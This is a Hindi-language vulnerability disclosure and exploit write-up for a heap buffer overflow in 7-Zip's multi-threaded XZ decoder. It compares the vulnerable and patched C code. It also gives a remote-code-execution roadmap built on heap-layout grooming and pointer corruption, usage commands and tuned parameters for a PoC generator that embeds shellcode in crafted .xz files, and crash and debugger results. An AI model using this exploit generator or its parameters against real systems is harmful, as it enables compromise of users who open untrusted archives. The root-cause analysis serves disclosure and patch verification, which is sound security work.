
7-Zip XZ Decoder Heap Buffer Overflow - पूर्ण विश्लेषण, मूल कारण, PoC, और RCE शोषण रोडमैप
गंभीर गंभीरता | CVSS: 8.8 (उच्च) | CWE-122: हीप-आधारित बफर ओवरफ़्लो
प्रभावित: 7-ज़िप ≤ 26.01 | पैच किया गया: 7-ज़िप 26.02 (2026-06-25)
खोज और विश्लेषण: Li Yuxuan (liyuxuan504-byte) और टीम द्वारा
7-ज़िप संस्करण ≤ 26.01 के मल्टी-थ्रेडेड XZ डिकोडर पथ में एक हीप बफर ओवरफ़्लो मौजूद है। एक दुर्भावनापूर्ण रूप से तैयार किया गया .xz संग्रह हीप-आवंटित आउटपुट बफर से परे एक आउट-ऑफ-बाउंड राइट को ट्रिगर कर सकता है, जिसके परिणामस्वरूप:
STATUS_ACCESS_VIOLATION (0xC0000005) के साथ विश्वसनीय क्रैशयह कमजोरी C/XzDec.c में MixCoder_Code() में स्थित है, जहां SingleBuf (outBuf) शाखा शेष बफर क्षमता (outBufSize - outWritten) के विरुद्ध इसे क्लैंप किए बिना LZMA2 डिकोडर को एक अनियंत्रित destLen2 पास करती है।
कोई भी सिस्टम या एप्लिकेशन जो अविश्वसनीय .xz फ़ाइलों को निकालने के लिए कमजोर 7-ज़िप (या 7z.dll) का उपयोग करता है, जोखिम में है — मल्टी-कोर सिस्टम पर मल्टी-थ्रेडेड पथ डिफ़ॉल्ट रूप से सक्षम है।
XZ Stream → XzUnpacker_Code (XZ_STATE_BLOCK)
→ MixCoder_Code(outBuf branch, p->outBuf != NULL)
→ destLen2 = destLenOrig // ← NO boundary clamp
→ Lzma2State_Code2(..., &destLen2)
→ dicLimit = dicPos + destLen2 // ← can exceed dicBufSize
→ Lzma2Dec_DecodeToDic(...)
→ LZMA2 copy-chunk loop: memcpy(dic + dicPos, src, size)
→ dicPos exceeds dicBufSize → HEAP OVERFLOW
कमजोर (26.01) — C/XzDec.c ~L606:
if (p->outBuf) {
SizeT destLen2, srcLen2;
srcLen2 = srcLenOrig;
destLen2 = destLenOrig; // ← raw value, no clamping!
{
IStateCoder *coder = &p->coders[0];
res = coder->Code2(coder->p, NULL, &destLen2, src, &srcLen2,
srcWasFinished, finishMode, &p->status);
}
p->outWritten += destLen2; // ← tracks total but never checks
}
फिक्स किया गया (26.02) — C/XzDec.c ~L605:
if (p->outBuf) {
SizeT destLen2;
destLen2 = destLenOrig;
if (p->numCoders != 1) { // ★ NEW boundary check
if (destLen2 < p->outWritten)
return SZ_ERROR_FAIL; // data inconsistency → abort
destLen2 -= p->outWritten; // clamp to remaining capacity!
}
*srcLen = srcLenOrig;
{
IStateCoder *coder = &p->coders[0];
res = coder->Code2(coder->p, NULL, &destLen2, src, srcLen,
srcWasFinished, finishMode, &p->status);
}
p->outWritten += destLen2;
}
फिक्स 3 पंक्तियों का है। यह LZMA2 डिकोडर को पास करने से पहले destLen2 से p->outWritten (इस outBuf में पहले से लिखे गए बाइट्स) घटाता है, यह सुनिश्चित करता है कि डिकोडर आवंटित बफर से परे कभी न लिखे।
सिंगल-थ्रेडेड पथ में, XzUnpacker_Code MixCoder_Code को कॉल करने से पहले अपना स्वयं का unpackSize-आधारित rem क्लैंप लागू करता है। यह क्लैंप आउटपुट को सही ढंग से सीमित करता है। मल्टी-थ्रेडेड SingleBuf पथ इस क्लैंप को बायपास करता है क्योंकि यह destLenOrig को सीधे पास करता है — जब destLen वास्तविक बफर शेष क्षमता के बजाय पूर्ण शेष इनपुट आकार पर पूर्व-सेट होता है तो अपस्ट्रीम क्लैंप अप्रभावी होता है।
outBuf CRT हीप पर ISzAlloc_Alloc(allocMid, unpackSize) के माध्यम से आवंटित किया जाता है:
unpackSize | आवंटक | शोषण क्षमता |
|---|---|---|
| ≤ 16 केबी | LFH (लो फ्रैग्मेंटेशन हीप) | ★ RCE के लिए सर्वश्रेष्ठ — उसी बकेट में आसन्न ऑब्जेक्ट |
| 16–64 केबी | सेगमेंट हीप (बैकएंड) | संभव — फ्री-लिस्ट भ्रष्टाचार |
| ≥ 64 केबी | VirtualAlloc (पेज-संरेखित) | केवल DoS — गार्ड पेज ओवरफ़्लो को फंसाता है |
सबसे आशाजनक शोषण दृष्टिकोण:
unpackSize (256–16384 बाइट्स) का उपयोग करेंnext पॉइंटर को भ्रष्ट करें → मनमाना-आवंटन प्रिमिटिव प्राप्त करें| क्षमता | स्थिति |
|---|---|
| DoS (क्रैश) | ✅ पुष्टि, 7-ज़िप 26.00 x64 पर विश्वसनीय |
| साइलेंट हीप ओवरफ़्लो (LFH) | ✅ पुष्टि — बफर से परे लिखता है, एग्ज़िट कोड 2, कोई क्रैश नहीं |
| नियंत्रित पेलोड वितरण | ✅ LZMA2 कॉपी-चंक डेटा के माध्यम से पूरी तरह से नियंत्रणीय |
| हीप लेआउट प्रिमिटिव्स | ✅ अवधारणा सिद्ध — लक्ष्य-विशिष्ट लेआउट ट्यूनिंग की आवश्यकता है |
| पूर्ण RCE श्रृंखला | ❌ प्रगति पर — लक्ष्य पर हीप लेआउट विश्लेषण की आवश्यकता है |
पारंपरिक डिबगर्स (x64dbg, WinDbg) प्रक्रिया निर्माण व्यवहार को बदल देते हैं। डिबगर के तहत, 7z.dll कभी भी मल्टी-थ्रेडेड XZ पथ लोड नहीं कर सकता है — प्रक्रिया चुपचाप सिंगल-थ्रेडेड मोड में वापस आ जाती है जहां कमजोरी ट्रिगर नहीं होती है। आवश्यक दृष्टिकोण:
tools/ में प्रदान किया गया)poc/poc-cve-2026-14266-rce.py एक पूर्ण-विशेषताओं वाला XZ शोषण जनरेटर है:
# Crash confirmation (DoS):
python poc/poc-cve-2026-14266-rce.py -o crash.xz
# Offset discovery (cyclic pattern):
python poc/poc-cve-2026-14266-rce.py \
--unpack-size 4096 --overflow 16384 --chunk-size 97 \
--payload-cyclic -o find-offset.xz
# Shellcode payload:
python poc/poc-cve-2026-14266-rce.py \
--unpack-size 4096 --overflow 16384 --chunk-size 97 \
--payload-shellcode -o exploit.xz
# Custom binary payload:
python poc/poc-cve-2026-14266-rce.py \
--payload-file shellcode.bin --unpack-size 512 --overflow 8192 -o custom.xz
| पैरामीटर | विवरण | अनुशंसित |
|---|---|---|
--unpack-size | ब्लॉक घोषित unpackSize (= outBuf आवंटन आकार) | LFH RCE के लिए 256–4096 |
--overflow | outBuf से परे लिखने के लिए कुल बाइट्स | 4096–32768 |
--chunk-size | LZMA2 कॉपी-चंक डेटा आकार (1–65535) | पूर्ण रूप से unpackSize को विभाजित नहीं करना चाहिए! प्राइम (97) या --force-align-overflow का उपयोग करें |
--payload-cyclic | ऑफसेट खोज के लिए चक्रीय पैटर्न | पहले उपयोग करें, फिर वास्तविक पेलोड से बदलें |
--payload-shellcode | Win x64 WinExec("calc.exe") शेलकोड एम्बेड करें | ~276 बाइट्स |
# Multi-threaded (vulnerable path):
7z.exe x poc.xz -so -mmt=2 > NUL
# Single-threaded (NOT vulnerable — for comparison):
7z.exe x poc.xz -so -mmt=1 > NUL
परीक्षण किया गया: Windows 11 Pro x64 (build 26200) + 7-ज़िप 26.00
unpackSize | chunk_size | ओवरफ़्लो | परिणाम |
|---|---|---|---|
| 256 केबी (0x40000) | 4096 (संरेखित) | ~32 केबी | 0xC0000005 — एक्सेस उल्लंघन (गार्ड पेज) |
| 256 केबी | 3 (मूल DoS) | ~30 केबी | 0xC0000005 — एक्सेस उल्लंघन |
| 256 केबी | 4096 | ~32 केबी | 0xC0000374 — हीप भ्रष्टाचार का पता चला |
| 256 बी | 97 | ~1 केबी | एग्ज़िट 2 — साइलेंट ओवरफ़्लो! |
| 4 केबी | 97 | ~16 केबी | एग्ज़िट 2 — साइलेंट ओवरफ़्लो! |
| 16 केबी | 97 | ~32 केबी | एग्ज़िट 2 — साइलेंट ओवरफ़्लो! |
मुख्य अंतर्दृष्टि: सभी LFH-रेंज (≤16 केबी) आवंटन साइलेंट ओवरफ़्लो उत्पन्न करते हैं — पेलोड डेटा बिना तत्काल क्रैश के आसन्न हीप ऑब्जेक्ट्स पर लिखा जाता है। यह RCE शोषण के लिए पूर्वापेक्षा है।
एक लाइव x64dbg सत्र से (7-ज़िप 26.00, MT पथ):
Fault instruction: mov byte ptr [rcx], r11b
Fault address: msvcrt.dll + 0x7B1EE (memcpy inner byte-copy loop)
Fault VA (rcx): 0x12363C50002 = outBuf_base + 0x40002
(2 bytes past the 0x40000-byte outBuf)
Decoder struct (rbx = 0x12363B0BB00):
+0x28: outBuf base = 0x12363C10000
+0x30: outBuf capacity = 0x40000 (262144 = unpackSize)
+0x38: write cursor = 0x40000 (ALREADY FULL when overflow begins)